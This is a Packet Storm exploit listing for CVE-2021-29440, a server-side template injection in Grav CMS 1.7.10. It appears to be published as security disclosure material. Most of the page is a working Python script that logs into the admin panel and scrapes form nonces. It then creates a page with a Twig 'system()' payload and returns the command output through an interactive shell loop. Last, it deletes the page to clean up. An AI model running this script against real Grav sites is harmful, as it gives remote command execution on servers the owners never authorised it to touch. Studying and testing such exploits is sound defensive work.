what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Grav CMS 1.7.10 Server-Side Template Injection

Grav CMS 1.7.10 Server-Side Template Injection
Posted Jun 7, 2021
Authored by enox

Grav CMS version 1.7.10 suffers from a server-side template injection vulnerability.

tags | exploit
advisories | CVE-2021-29440
SHA-256 | 85f21cefa630fe3152038d1105ae7a134896a1b3e245ec16f6443b1ad88339d9

Grav CMS 1.7.10 Server-Side Template Injection

Change Mirror Download
# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)
# Author: enox
# Date: 06-06-2021
# Vendor: https://getgrav.org/
# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10
# Vulnerable Version(s): Grav CMS 1.7.10
# CVE: CVE-2021-29440
# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
# NOTES: You need a user who has access to /admin dashboard with page creation privileges.

#!/usr/bin/python

import requests
from bs4 import BeautifulSoup
import random
import string


username = 'username'
password = 'password'
url = 'http://grav.local'


session = requests.Session()

# Autheticating
## Getting login-nonce
def login(url,username,password):
r = session.get(url + "/admin")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[2])
nonce = nonce[47:79]

## Logging in
payload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = session.post(url+"/admin",data=payload,headers=headers)


# Creating Page for RCE

def rce(url,cmd):
## Getting form nonce and unique form id
project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))
r = session.get(url+f"/admin/pages/{project_name}/:add")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[72])
form_id = str(soup.findAll('input')[71])
form_id = form_id[54:86]
nonce = nonce[46:78]

## Creating Page
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)

## Getting command output
r = session.get(url+f"/{project_name.lower()}")
if 'SyntaxError' in r.text:
print("[-] Command error")
else:
a = r.text.split('<section id="body-wrapper" class="section">')
b = a[1].split('</section>')
print(b[0][58:])


# Cleaning up
## Getting admin-nonce
r = session.get(url + "/admin/pages")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[32])
nonce = nonce[47:79]

## Deleting Page
r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")

login(url,username,password)

while True:
cmd = input("$ ")
rce(url,cmd)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close